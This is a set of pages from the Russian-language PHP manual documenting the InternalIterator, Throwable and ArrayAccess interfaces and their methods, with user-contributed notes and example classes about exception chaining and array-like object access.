(PHP 8)

InternalIterator::__construct — Закрытый конструктор для запрета прямой инициализации

Описание

private InternalIterator::__construct()

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущий элемент

  • « InternalIterator::__construct
  • InternalIterator::key »
  • PHP Manual
  • InternalIterator
  • Возвращает текущий элемент

InternalIterator::current

(PHP 8)

InternalIterator::current — Возвращает текущий элемент

Описание

public InternalIterator::current(): mixed

Возвращает текущий элемент.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущий элемент.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ключ текущего элемента

  • « InternalIterator::current
  • InternalIterator::next »
  • PHP Manual
  • InternalIterator
  • Возвращает ключ текущего элемента

InternalIterator::key

(PHP 8)

InternalIterator::key — Возвращает ключ текущего элемента

Описание

public InternalIterator::key(): mixed

Возвращает ключ текущего элемента.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ключ текущего элемента.

User Contributed Notes

There are no user contributed notes for this page.


Переходит к следующему элементу

  • « InternalIterator::key
  • InternalIterator::rewind »
  • PHP Manual
  • InternalIterator
  • Переходит к следующему элементу

InternalIterator::next

(PHP 8)

InternalIterator::next — Переходит к следующему элементу

Описание

public InternalIterator::next(): void

Перемещает текущую позицию к следующему элементу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Перематывает итератор к первому элементу

  • « InternalIterator::next
  • InternalIterator::valid »
  • PHP Manual
  • InternalIterator
  • Перематывает итератор к первому элементу

InternalIterator::rewind

(PHP 8)

InternalIterator::rewind — Перематывает итератор к первому элементу

Описание

public InternalIterator::rewind(): void

Возвращается к первому элементу итератора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, действительна ли текущая позиция

  • « InternalIterator::rewind
  • Throwable »
  • PHP Manual
  • InternalIterator
  • Проверяет, действительна ли текущая позиция

InternalIterator::valid

(PHP 8)

InternalIterator::valid — Проверяет, действительна ли текущая позиция

Описание

public InternalIterator::valid(): bool

Проверяет, действительна ли текущая позиция.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает, действительна ли текущая позиция.

User Contributed Notes

There are no user contributed notes for this page.


Throwable

(PHP 7, PHP 8)

Введение

Throwable является родительским интерфейсом для всех объектов, выбрасывающихся с помощью выражения throw, включая классы Error и Exception.

Замечание:

Классы PHP не могут напрямую реализовать интерфейс Throwable. Вместо этого они могут наследовать подкласс Exception.

Обзор интерфейсов

interface Throwable extends Stringable {
/* Методы */
public getMessage(): string
public getCode(): int
public getFile(): string
public getLine(): int
public getTrace(): array
public getTraceAsString(): string
public getPrevious(): ?Throwable
public __toString(): string
/* Наследуемые методы */
public Stringable::__toString(): string
}

Список изменений

Версия | Описание
8.0.0 | Класс Throwable теперь реализует интерфейс Stringable.

Содержание

  • Throwable::getMessage — Получает сообщение ошибки
  • Throwable::getCode — Возвращает код исключения
  • Throwable::getFile — Возвращает файл, в котором выброшено исключение
  • Throwable::getLine — Получает строку скрипта, в которой данный объект был выброшен
  • Throwable::getTrace — Возвращает трассировку стека
  • Throwable::getTraceAsString — Получает результаты трассировки стека в виде строки
  • Throwable::getPrevious — Возвращает предыдущий Throwable
  • Throwable::__toString — Получает строковое представление выброшенного объекта

User Contributed Notes

thisbug at foxmail dot com 13-Jan-2020 02:57
try {
// Code that may throw an Exception or Error.
} catch (Throwable $t) {
// Executed only in PHP 7, will not match in PHP 5.x
} catch (Exception $e) {
// Executed only in PHP 5.x, will not be reached in PHP 7
}

interface MyPackageThrowable extends Throwable {}

class MyPackageException extends Exception implements MyPackageThrowable {}

throw new MyPackageException();
mlocati at gmail dot com 09-Mar-2017 10:59
I wrote a simple script that prints out the Throwable and Exception tree for every PHP version.

You can find this script here:
https://gist.github.com/mlocati/249f07b074a0de339d4d1ca980848e6a

And its output is here:
https://3v4l.org/sDMsv


Получает сообщение ошибки

  • « Throwable
  • Throwable::getCode »
  • PHP Manual
  • Throwable
  • Получает сообщение ошибки

Throwable::getMessage

(PHP 7, PHP 8)

Throwable::getMessage — Получает сообщение ошибки

Описание

public Throwable::getMessage(): string

Возвращает сообщение ошибки данного выброшенного объекта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое сообщение.

Смотрите также

  • Exception::getMessage() - Получает сообщение исключения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает код исключения

  • « Throwable::getMessage
  • Throwable::getFile »
  • PHP Manual
  • Throwable
  • Возвращает код исключения

Throwable::getCode

(PHP 7, PHP 8)

Throwable::getCode — Возвращает код исключения

Описание

public Throwable::getCode(): int

Возвращает код ошибки выброшенного объекта, к которому применена функция.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает код исключения в виде целого числа (int) в Exception, но возможен и другой возвращаемый тип в классах, наследующих Exception (например, в виде строки (string), если тип ошибки PDOException).

Смотрите также

  • Exception::getCode() - Получает код исключения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает файл, в котором выброшено исключение

  • « Throwable::getCode
  • Throwable::getLine »
  • PHP Manual
  • Throwable
  • Возвращает файл, в котором выброшено исключение

Throwable::getFile

(PHP 7, PHP 8)

Throwable::getFile — Возвращает файл, в котором выброшено исключение

Описание

public Throwable::getFile(): string

Возвращает имя файла, в котором данный объект был выброшен.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое значение имени файла.

Смотрите также

  • Exception::getFile() - Получает файл, в котором возникло исключение

User Contributed Notes

There are no user contributed notes for this page.


Получает строку скрипта, в которой данный объект был выброшен

  • « Throwable::getFile
  • Throwable::getTrace »
  • PHP Manual
  • Throwable
  • Получает строку скрипта, в которой данный объект был выброшен

Throwable::getLine

(PHP 7, PHP 8)

Throwable::getLine — Получает строку скрипта, в которой данный объект был выброшен

Описание

public Throwable::getLine(): int

Возвращает номер строки, в которой данный объект был выброшен.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целочисленное значение строки.

Смотрите также

  • Exception::getLine() - Получает строку, в которой возникло исключение

User Contributed Notes

There are no user contributed notes for this page.


Возвращает трассировку стека

  • « Throwable::getLine
  • Throwable::getTraceAsString »
  • PHP Manual
  • Throwable
  • Возвращает трассировку стека

Throwable::getTrace

(PHP 7, PHP 8)

Throwable::getTrace — Возвращает трассировку стека

Описание

public Throwable::getTrace(): array

Возвращает трассировку стека в виде массива.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает трассировку стека в виде массива в таком же формате, что и debug_backtrace().

Смотрите также

  • Exception::getTrace() - Получает трассировку стека

User Contributed Notes

rasmus at mindplay dot dk 04-Dec-2023 07:49
Note that, where `debug_backtrace()` accepts an argument, which lets you configure options for the backtrace, `getTrace()` has no such argument.

Whether the `getTrace` method captures arguments instead depends on the `zend.exception_ignore_args` INI setting, which must be set to `0` ahead of time, before an exception occurs. (notice the confusing double negation here - to *enable* capture of arguments, you must *disable* this INI flag.)

Unlike `debug_backtrace()`, the `getTrace` method does not appear to capture the `object` value.


Получает результаты трассировки стека в виде строки

  • « Throwable::getTrace
  • Throwable::getPrevious »
  • PHP Manual
  • Throwable
  • Получает результаты трассировки стека в виде строки

Throwable::getTraceAsString

(PHP 7, PHP 8)

Throwable::getTraceAsString — Получает результаты трассировки стека в виде строки

Описание

public Throwable::getTraceAsString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает результаты трассировки стека в виде строки.

Смотрите также

  • Exception::getTraceAsString() - Получает трассировку стека в виде строки

User Contributed Notes

There are no user contributed notes for this page.


Возвращает предыдущий Throwable

  • « Throwable::getTraceAsString
  • Throwable::__toString »
  • PHP Manual
  • Throwable
  • Возвращает предыдущий Throwable

Throwable::getPrevious

(PHP 7, PHP 8)

Throwable::getPrevious — Возвращает предыдущий Throwable

Описание

public Throwable::getPrevious(): ?Throwable

Возвращает любой предыдущий Throwable (для примера, переданное третьим параметром в Exception::__construct()).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает предыдущий Throwable, если он доступен, или null в противном случае.

Смотрите также

  • Exception::getPrevious() - Возвращает предыдущий объект, реализующий Throwable

User Contributed Notes

harry at upmind dot com 10-Nov-2018 03:05
/**
     * Gets sequential array of all previously-chained errors
     *
     * @param Throwable $error
     *
     * @return Throwable[]
     */
    function getChain(Throwable $error) : array
    {
        $chain = [];

        do {
            $chain[] = $error;
        } while ($error = $error->getPrevious());

        return $chain;
    }


Получает строковое представление выброшенного объекта

  • « Throwable::getPrevious
  • ArrayAccess »
  • PHP Manual
  • Throwable
  • Получает строковое представление выброшенного объекта

Throwable::__toString

(PHP 7, PHP 8)

Throwable::__toString — Получает строковое представление выброшенного объекта

Описание

public Throwable::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое (string) представление выброшенного объекта.

Смотрите также

  • Exception::__toString() - Строковое представление исключения

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс ArrayAccess

(PHP 5, PHP 7, PHP 8)

Введение

Интерфейс обеспечивает доступ к объектам в виде массивов.

Обзор интерфейсов

interface ArrayAccess {
/* Методы */
public offsetExists(mixed $offset): bool
public offsetGet(mixed $offset): mixed
public offsetSet(mixed $offset, mixed $value): void
public offsetUnset(mixed $offset): void
}

Пример #1 Основы использования

<?php
class Obj implements ArrayAccess {
public $container = [
"one" => 1,
"two" => 2,
"three" => 3,
];

public function offsetSet($offset, $value): void {
if (is_null($offset)) {
$this->container[] = $value;
} else {
$this->container[$offset] = $value;
}
}

public function offsetExists($offset): bool {
return isset($this->container[$offset]);
}

public function offsetUnset($offset): void {
unset($this->container[$offset]);
}

public function offsetGet($offset): mixed {
return isset($this->container[$offset]) ? $this->container[$offset] : null;
}
}

$obj = new Obj;

var_dump(isset($obj["two"]));
var_dump($obj["two"]);
unset($obj["two"]);
var_dump(isset($obj["two"]));
$obj["two"] = "A value";
var_dump($obj["two"]);
$obj[] = 'Append 1';
$obj[] = 'Append 2';
$obj[] = 'Append 3';
print_r($obj);
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
int(2)
bool(false)
string(7) "A value"
obj Object
(
    [container:obj:private] => Array
        (
            [one] => 1
            [three] => 3
            [two] => A value
            [0] => Append 1
            [1] => Append 2
            [2] => Append 3
        )

)

Содержание

  • ArrayAccess::offsetExists — Определяет, существует ли заданное смещение (ключ)
  • ArrayAccess::offsetGet — Возвращает заданное смещение (ключ)
  • ArrayAccess::offsetSet — Присваивает значение заданному смещению
  • ArrayAccess::offsetUnset — Удаляет смещение

User Contributed Notes

msherazjaved at gmail dot com 01-Jul-2019 04:53
An experimental check addition to the findings of Per (on offsetExists method) added here (8 years ago).

<?php
class obj implements ArrayAccess {
    private $container = array();

    public function __construct() {
        $this->container = array(
            "one"   => 1,
            "two"   => 2,
            "three" => 3,
        );
    }

    public function offsetSet($offset, $value) {
        print "offsetSet method Triggered";

        if (is_null($offset)) {
            $this->container[] = $value;
        } else {
            $this->container[$offset] = $value;
        }
    }

    public function offsetExists($offset) {
        print "offsetExists method Triggered";

        return isset($this->container[$offset]);
    }

    public function offsetUnset($offset) {
        print "offsetUnset method Triggered";

        unset($this->container[$offset]);
    }

    public function offsetGet($offset) {
        print "offsetGet method Triggered";

        return isset($this->container[$offset]) ? $this->container[$offset] : null;
    }
}

$obj = new obj;

## Assigning a Value
$obj['two'] = '2';    // Output: offsetSet method Triggered

## Checking if array offset already set
isset($obj['two']);   // Output : offsetExists method Triggered

## Unsetting array value on the offset 'two'
unset($obj['two']);   // Output : offsetUnset method Triggered

## Accessing array value at offset 'two'
return $obj['two'];   // Output : offsetGet method Triggered

?>
Taliesin Nuin public at taliesinnuin dot net 04-Mar-2019 09:41
You might be wondering whether implementing an ArrayAccess interface makes the class iterable. It is, after all, an "array". The answer is no, it doesn't. Additionally there are a couple of subtle gotchas if you add both and want it to be an associate array. The below is a class that has both ArrayAccess AND Iterator interfaces. And Countable as well just to be complete.

<?php
//This uses return types which are only valid in PHP 7. They can be removed if you are forced to use an older version of PHP.
//N.b. The offsetSet method contains a function that is only valid from PHP 7.3 onwards.

class HandyClass implements ArrayAccess, Iterator, Countable {

  private $container = array(); //An Array of your actual values.
  private $keys = array();      //We use a separate array of keys rather than $this->position directly so that we can
  private $position;            //have an associative array.

  public function __construct() {
    $position = 0;

    $this->container = array(   //Arbitrary array for demo. You probably want to set this to empty in practice or
      "a"   => 1,               //get it from somewhere else, e.g. passing it into the constructor.
      "b"   => 2,
      "c"   => 3,
    );
    $this->keys = array_keys($this->container);
  }

  public function count() : int { //This is necessary for the Countable interface. It could as easily return
    return count($this->keys);    //count($this->container). The number of elements will be the same.
  }

  public function rewind() {  //Necessary for the Iterator interface. $this->position shows where we are in our list of
    $this->position = 0;      //keys. Remember we want everything done via $this->keys to handle associative arrays.
  }

  public function current() { //Necessary for the Iterator interface.
    return $this->container[$this->keys[$this->position]];
  }

  public function key() { //Necessary for the Iterator interface.
    return $this->keys[$this->position];
  }

  public function next() { //Necessary for the Iterator interface.
    ++$this->position;
  }

  public function valid() { //Necessary for the Iterator interface.
    return isset($this->keys[$this->position]);
  }

  public function offsetSet($offset, $value) { //Necessary for the ArrayAccess interface.
    if(is_null($offset)) {
      $this->container[] = $value;
      $this->keys[] = array_key_last($this->container); //THIS IS ONLY VALID FROM php 7.3 ONWARDS. See note below for alternative.
    } else {
      $this->container[$offset] = $value;
      if(!in_array($offset, $this->keys)) $this->keys[] = $offset;
    }
  }

  public function offsetExists($offset) {
    return isset($this->container[$offset]);
  }

  public function offsetUnset($offset) {
    unset($this->container[$offset]);
    unset($this->keys[array_search($offset,$this->keys)]);
    $this->keys = array_values($this->keys);  //This line re-indexes the array of container keys because if someone
  }                                           //deletes the first element, the rewind to position 0 when iterating would
                                              //cause no element to be found.
  public function offsetGet($offset) {
    return isset($this->container[$offset]) ? $this->container[$offset] : null;
  }
}
?>

Example usages:

<?php
$myClass = new HandyClass();
echo('Number of elements: ' . count($myClass) . "\n\n");

echo("Foreach through the built in test elements:\n");
foreach($myClass as $key => $value) {
  echo("$value\n");
}
echo("\n");

$myClass['d'] = 4;
$myClass['e'] = 5;
echo('Number of elements after adding two: ' . count($myClass) . "\n\n");

unset($myClass['a']);
echo('Number of elements after removing one: ' . count($myClass) . "\n\n");

echo("Accessing an element directly:\n");
echo($myClass['b'] . "\n\n");

$myClass['b'] = 5;
echo("Foreach after changing an element:\n");
foreach($myClass as $key => $value) {
  echo("$value\n");
}
echo("\n");
?>
ProgMiner 10-Jan-2018 08:07
Maybe it help anyone, if you do
<?php
$arrayAccessObject[] = 'foo';
?>
PHP give you an empty string as $offset to offsetSet($offset, $value) method.
headplan at gmail dot com 14-Nov-2017 09:06
?????????????.
<?php

namespace InterfaceTest;

use ArrayAccess;

class TestArrayAccess implements ArrayAccess
{
    # ????
    private $data = [];

    /**
     * ??????????????
     *
     * @param $key
     * @return mixed
     */
    public function __get($key)
    {
        return $this->data[$key];
    }

    /**
     * ?????????????
     *
     * @param $key
     * @param $val
     */
    public function __set($key, $val)
    {
        $this->data[$key] = $val;
    }

    /**
     * ???????????????
     *
     * @param $key
     * @return bool
     */
    public function __isset($key)
    {
        return isset($this->data[$key]);
    }

    /**
     * ?????????????
     *
     * @param $key
     */
    public function __unset($key)
    {
        unset($this->data[$key]);
    }

    /**
     * @param mixed $offset
     * @return mixed|null
     */
    public function offsetGet($offset)
    {
        return $this->offsetExists($offset) ? $this->data[$offset] : null;
    }

    /**
     * @param mixed $offset
     * @param mixed $value
     */
    public function offsetSet($offset, $value)
    {
        if (is_null($offset)) {
            $this->data[] = $value;
        } else {
            $this->data[$offset] = $value;
        }
    }

    /**
     * @param mixed $offset
     * @return bool
     */
    public function offsetExists($offset)
    {
        return isset($this->data[$offset]);
    }

    /**
     * @param mixed $offset
     */
    public function offsetUnset($offset)
    {
        if ($this->offsetExists($offset)) {
            unset($this->data[$offset]);
        }
    }

    /**
     * @return array
     */
    public function &__invoke()
    {
        return $this->data;
    }
}

$testArrayAccess = new \InterfaceTest\TestArrayAccess();

$testArrayAccess['one'] = '??';
$testArrayAccess->two = '??';
$testArrayAccess['three'] = '??';
$testArrayAccess->four = '??'; # ??ArrayAndObjectAccess::__set
$testArrayAccess['five'] = '??'; # ??ArrayAndObjectAccess::offsetSet

var_dump(isset($testArrayAccess->one)); # ??ArrayAndObjectAccess::__isset
unset($testArrayAccess->two); # ??ArrayAndObjectAccess::__unset

var_dump($testArrayAccess->one); # ??ArrayAndObjectAccess::__get
var_dump($testArrayAccess->three);
var_dump($testArrayAccess->four);
var_dump($testArrayAccess->five);

var_dump(isset($testArrayAccess['one'])); # ??ArrayAndObjectAccess::offsetExists
unset($testArrayAccess['two']); # ??ArrayAndObjectAccess::offsetUnset

var_dump($testArrayAccess['one']); # ??ArrayAndObjectAccess::offsetGet
var_dump($testArrayAccess['three']);
var_dump($testArrayAccess['four']);
var_dump($testArrayAccess['five']);

var_dump($testArrayAccess);
var_dump($testArrayAccess());
var_dump(array_values($testArrayAccess()));
$var = 'hi';
$testArrayAccess['a'] = $var;
$testArrayAccess()['b'] = &$var;
$var = 'baby';
array_push($testArrayAccess(),'test'); # int array_push ( array &$array , mixed $value1 [, mixed $... ] )
var_dump($testArrayAccess);
var_dump(reset($testArrayAccess())); # mixed reset ( array &$array )
var_dump(array_key_exists('five',$testArrayAccess()));
Soaku 01-Sep-2017 04:01
When working in namespaces ALWAYS remember to prefix the ArrayAccess name with \. It will think you mean an undefined interface.

This is a bit weird, because this interface *could* be global - You cannot define a class or interface with this name, even in a namespace.

Hope it helps someone.
igorsantos07 at gibberish dot gmail dot com 24-Jun-2017 07:48
Building on comments about incompatibility between plain arrays and ArrayAccess objects, many (most?) of the array_* methods won't work with ArrayAccess objects.
Simple calls such as sizeof() work, but array_values() will throw an error, for instance.

Don't expect much magic when implementing this.
Aussie Bags 12-May-2017 10:57
Although $offset can be anything, a string that looks like an integer is cast to integer before the call to any of the methods.

$x[1]  offset is integer 1
$x['1'] offset is integer 1
$x['1.'] offset is string '1.'
jordistc at gmail dot com 31-Jul-2016 11:07
You can use the array functions on a object of a class that implements ArrayAccess using the __invoke magic method in this way:

<?php
class ArrayVar implements ArrayAccess
{
    private $data = [];

    public function __invoke()
    {
        return $this->data;
    }
}
?>

Now you can use it in this way:
<?php
    $arrayar = new ArrayVar();
    $arrayar['one'] = 'primer';
    $arrayar['two'] = 'segon';
    $arrayar['three'] = 'tercer';

    $keys = array_keys($arrayar());
    var_dump($keys);
    // array (size=3)
    //    0 => string 'one'
    //    1 => string 'two'
    //    2 => string 'three'

    $diff = array_diff($arrayar(), [ 'two' => 'segon']);
    var_dump($diff);
    // array (size=2)
    //    'one' => string 'primer'
    //    'three' => string 'tercer'
?>
luc at s dot illi dot be 28-May-2016 09:51
Note, that the ArrayAccess class is not limited to scalar keys:

<?php
class A implements ArrayAccess
{
    function offsetSet($a, $b)
    {
        var_dump(func_get_args());
    }

    function offsetGet($a)
    {
        var_dump(func_get_args());
    }

    function offsetExists($a)
    {
        var_dump(func_get_args());
    }

    function offsetUnset($a)
    {
        var_dump(func_get_args());
    }
}

class B{}
class C{}

$A = new A;
$A[[1,2,3]] = [4,5,6];
$A[new B] = new C;

/*
array(2) {
  [0]=>
  array(3) {
    [0]=>
    int(1)
    [1]=>
    int(2)
    [2]=>
    int(3)
  }
  [1]=>
  array(3) {
    [0]=>
    int(4)
    [1]=>
    int(5)
    [2]=>
    int(6)
  }
}
array(2) {
  [0]=>
  object(web\B)#3 (0) {
  }
  [1]=>
  object(web\C)#4 (0) {
  }
}
*/
?>
nick at little-apps dot com 20-Apr-2016 10:22
A class that implements ArrayAccess will not work with array_push

For example:

<?php
class TestArrayAccess implements ArrayAccess {
    private $container = array();

    // ArrayAccess methods
}

$obj = new TestArrayAccess();

array_push($obj, 'Hello World!'); // Nothing will be added
?>

One way of being able to use array_push would be by adding a toArray() method (note the return value is a reference).

<?php
class TestArrayAccess implements ArrayAccess {
    private $container = array();

    // ArrayAccess methods

    public function &toArray() {
        return $this->container;
     }
}

$obj = new TestArrayAccess();

array_push($obj->toArray(), 'Hello World!'); // Will now be added to array
?>
kaRemovTihsjouni at gmAndTihsaildot com 30-Jun-2015 03:03
reset() method may not work as you expect with ArrayAccess objects.

Using reset($myArrayAccessObject) returns the first property from $myArrayAccessObject, not the first item in the items array.

If you want to use the reset() method to return the first array item, then you can use the following simple workaround:

<?php
class MyArrayAccessObject implements Iterator, ArrayAccess, Countable {
    protected $first = null; //WARNING! Keep this always first.
    protected $items = null;
    private function supportReset() {
      $this->first = reset($this->items); //Support reset().
    }
    // ...
    public function offsetSet($offset, $value) {
        if ($offset === null) {
            $this->items[] = $value;
        }
        else {
            $this->items[$offset] = $value;
        }
        $this->supportReset();
    }
}
?>

Finally, call $this->supportReset() in the end of all methods that change the internal $items array, such as in offsetSet(), offsetUnset() etc.

This way, you can use the reset() method as normally:

<?php
$firstArrayItem = reset($myArrayAccessObject);
?>
php at lanar dot com dot au 27-Jan-2014 01:35
Objects implementing ArrayAccess do not support the increment/decrement operators ++ and --, unlike array() and ArrayObject()

<?php

class MyArray implements ArrayAccess
{
    // offsetSet, offsetGet etc implemented
}

$x = new MyArray() ;
$x[0] = 0 ;
$x[0]++ ; //error 'Indirect modification of overloaded element has no effect'
$x[0] += 1 ; // this works OK.

?>
Yousef Ismaeil Cliprz 11-Dec-2013 07:38
<?php

/**
 * ArrayAndObjectAccess
 * Yes you can access class as array and the same time as object
 *
 * @author Yousef Ismaeil <cliprz@gmail.com>
 */

class ArrayAndObjectAccess implements ArrayAccess {

    /**
     * Data
     *
     * @var array
     * @access private
     */
    private $data = [];

    /**
     * Get a data by key
     *
     * @param string The key data to retrieve
     * @access public
     */
    public function &__get ($key) {
        return $this->data[$key];
    }

    /**
     * Assigns a value to the specified data
     *
     * @param string The data key to assign the value to
     * @param mixed  The value to set
     * @access public
     */
    public function __set($key,$value) {
        $this->data[$key] = $value;
    }

    /**
     * Whether or not an data exists by key
     *
     * @param string An data key to check for
     * @access public
     * @return boolean
     * @abstracting ArrayAccess
     */
    public function __isset ($key) {
        return isset($this->data[$key]);
    }

    /**
     * Unsets an data by key
     *
     * @param string The key to unset
     * @access public
     */
    public function __unset($key) {
        unset($this->data[$key]);
    }

    /**
     * Assigns a value to the specified offset
     *
     * @param string The offset to assign the value to
     * @param mixed  The value to set
     * @access public
     * @abstracting ArrayAccess
     */
    public function offsetSet($offset,$value) {
        if (is_null($offset)) {
            $this->data[] = $value;
        } else {
            $this->data[$offset] = $value;
        }
    }

    /**
     * Whether or not an offset exists
     *
     * @param string An offset to check for
     * @access public
     * @return boolean
     * @abstracting ArrayAccess
     */
    public function offsetExists($offset) {
        return isset($this->data[$offset]);
    }

    /**
     * Unsets an offset
     *
     * @param string The offset to unset
     * @access public
     * @abstracting ArrayAccess
     */
    public function offsetUnset($offset) {
        if ($this->offsetExists($offset)) {
            unset($this->data[$offset]);
        }
    }

    /**
     * Returns the value at specified offset
     *
     * @param string The offset to retrieve
     * @access public
     * @return mixed
     * @abstracting ArrayAccess
     */
    public function offsetGet($offset) {
        return $this->offsetExists($offset) ? $this->data[$offset] : null;
    }

}

?>

Usage

<?php
$foo = new ArrayAndObjectAccess();
// Set data as array and object
$foo->fname = 'Yousef';
$foo->lname = 'Ismaeil';
// Call as object
echo 'fname as object '.$foo->fname."\n";
// Call as array
echo 'lname as array '.$foo['lname']."\n";
// Reset as array
$foo['fname'] = 'Cliprz';
echo $foo['fname']."\n";

/** Outputs
fname as object Yousef
lname as array Ismaeil
Cliprz
*/

?>
ivan dot dossev at gmail dot com 20-Apr-2013 07:09
Sadly you cannot assign by reference with the ArrayAccess (at least in PHP 5.3.23)
It's too bad there is no syntax for optionally passing variables by reference to functions (a feature in retro PHP).
That option would have let ArrayAccess fully mimic the functionality of normal array assignments:

<?php
$var = 'hello';
$arr = array();
$arr[0] = $var;
$arr[1] = &$var;
$var = 'world';
var_dump($arr[0], $arr[1]);

// string(5) "hello"
// string(5) "world"
?>

Declaring "function offsetSet($offset, &$value)" will cause a fatal error.
So to assign by ref you can use an ugly function call, for example:

<?php
class obj implements ArrayAccess {

    // ... ArrayAccess example code ...

    public function &offsetSetRef($offset, &$value) {
        if (is_null($offset)) {
            $this->container[] = &$value;
        } else {
            $this->container[$offset] = &$value;
        }
        return $value; // should return in case called within an assignment chain
    }
}

$var = 'hello';
$obj = new obj();
$obj[0] = $var;
//$obj[1] = &$var; // Fatal error: Cannot assign by reference to overloaded object
$obj->offsetSetRef(1, $var); // the work around
$var = 'world';
var_dump($obj[0], $obj[1]);

// string(5) "hello"
// string(5) "world"

?>
Hayley Watson 31-Mar-2013 12:25
The indexes used in an ArrayAccess object are not limited to strings and integers as they are for arrays: you can use any type for the index as long as you write your implementation to handle them. This fact is exploited by the SplObjectStorage class.
jojor at gmx dot net 12-Dec-2012 01:08
Conclusion: Type hints \ArrayAccess and array are not compatible.

<?php

     class MyArrayAccess implements \ArrayAccess
     {
         public function offsetExists($offset)
         {

         }

         public function offsetSet($offset, $value)
         {

         }

         public function offsetGet($offset)
         {

         }

         public function offsetUnset($offset)
         {

         }
     }

     function test(array $arr)
     {
     }

     function test2(\ArrayAccess $arr)
     {

     }

     $arrObj = new MyArrayAccess();
     test([]); //result: works!
     test($arrObj); //result: does NOT work
     test2([]); //result: does NOT work
     test2($arrObj); // result: works!
?>
Per 20-May-2011 02:16
It bit me today, so putting it here in the hope it will help others:
If you call array_key_exists() on an object of a class that implements ArrayAccess, ArrayAccess::offsetExists() wil NOT be called.
max at flashdroid dot com 05-Apr-2010 06:49
Objects implementing ArrayAccess may return objects by references in PHP 5.3.0.

You can implement your ArrayAccess object like this:

    class Reflectable implements ArrayAccess {

        public function set($name, $value) {
            $this->{$name} = $value;
        }

        public function &get($name) {
            return $this->{$name};
        }

        public function offsetGet($offset) {
            return $this->get($offset);
        }

        public function offsetSet($offset, $value) {
            $this->set($offset, $value);
        }

        ...

    }

This base class allows you to get / set your object properties using the [] operator just like in Javascript:

    class Boo extends Reflectable {
        public $name;
    }

    $obj = new Boo();
    $obj['name'] = "boo";
    echo $obj['name']; // prints boo


Определяет, существует ли заданное смещение (ключ)

  • « ArrayAccess
  • ArrayAccess::offsetGet »
  • PHP Manual
  • ArrayAccess
  • Определяет, существует ли заданное смещение (ключ)

ArrayAccess::offsetExists

(PHP 5, PHP 7, PHP 8)

ArrayAccess::offsetExists — Определяет, существует ли заданное смещение (ключ)

Описание

public ArrayAccess::offsetExists(mixed $offset): bool

Определяет, существует или нет данное смещение (ключ).

Данный метод выполняется при использовании isset() или empty() на объектах, реализующих интерфейс ArrayAccess.

Замечание:

При использовании функции empty(), вызывается метод ArrayAccess::offsetGet() и проверка на пустоту произойдёт, только если метод ArrayAccess::offsetExists() вернёт true.

Список параметров

offset

Смещение (ключ) для проверки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Замечание:

Возвращаемое значение будет приведено к логическому типу (bool), если возвращаемое значение не является логическим.

Примеры

Пример #1 Пример использования ArrayAccess::offsetExists()

<?php
class obj implements ArrayAccess {
public function offsetSet($offset, $value): void {
var_dump(__METHOD__);
}

public function offsetExists($var): bool {
var_dump(__METHOD__);
if ($var == "foobar") {
return true;
}
return false;
}

public function offsetUnset($var): void {
var_dump(__METHOD__);
}

#[\ReturnTypeWillChange]
public function offsetGet($var) {
var_dump(__METHOD__);
return "value";
}
}

$obj = new obj;

echo "Выполняется obj::offsetExists()\n";
var_dump(isset($obj["foobar"]));

echo "\nВыполняется obj::offsetExists() и obj::offsetGet()\n";
var_dump(empty($obj["foobar"]));

echo "\nВыполняется obj::offsetExists(), но *не* obj:offsetGet(), поскольку нечего возвращать\n";
var_dump(empty($obj["foobaz"]));
?>

Результатом выполнения данного примера будет что-то подобное:

Выполняется obj::offsetExists()
string(17) "obj::offsetExists"
bool(true)

Выполняется obj::offsetExists() и obj::offsetGet()
string(17) "obj::offsetExists"
string(14) "obj::offsetGet"
bool(false)

Выполняется obj::offsetExists(), но *не* obj:offsetGet(), поскольку нечего возвращать
string(17) "obj::offsetExists"
bool(true)

User Contributed Notes

Martin Q 22-Oct-2019 09:24
It seems that in PHP 7, if this method returns FALSE then offsetGet() will return NULL (in PHP 5, offsetGet() didn't first check what value offsetExists() returned).  So if your code suddenly stops working when you upgrade to PHP 7 make sure that offsetExists() returns a sensible value!
kgun ! mail ! com 08-Feb-2019 11:41
If you care about key-strictness, you may need to use an alternative solution (maybe overriding offsetExists() in subclass(es)). So, offsetExists() acts like array_key_exists() and does not handle the key types. Here;

<?php
$array = ['one', 'two', 3.=>'boom!'];
$arrayObject = new ArrayObject($array);
$key = '3';
var_dump(array_key_exists($key, $array)); // bool(true)
var_dump(in_array($key, array_keys($array), true)); // bool(false)
var_dump($arrayObject->offsetExists($key)); // bool(true)
var_dump(in_array($key, array_keys($arrayObject->getArrayCopy()), true)); // bool(false)

// @override;
public function offsetExists($key)
{
    // make a strict check
    return in_array($key, array_keys($this->getArrayCopy()), true);
}
?>
driezasson at icloud dot com 02-Mar-2015 07:10
Note that even though isset/empty works on classes implementing ArrayAccess, array_key_exists does not. At least not in PHP 5.3.


Возвращает заданное смещение (ключ)

  • « ArrayAccess::offsetExists
  • ArrayAccess::offsetSet »
  • PHP Manual
  • ArrayAccess
  • Возвращает заданное смещение (ключ)

ArrayAccess::offsetGet

(PHP 5, PHP 7, PHP 8)

ArrayAccess::offsetGet — Возвращает заданное смещение (ключ)

Описание

public ArrayAccess::offsetGet(mixed $offset): mixed

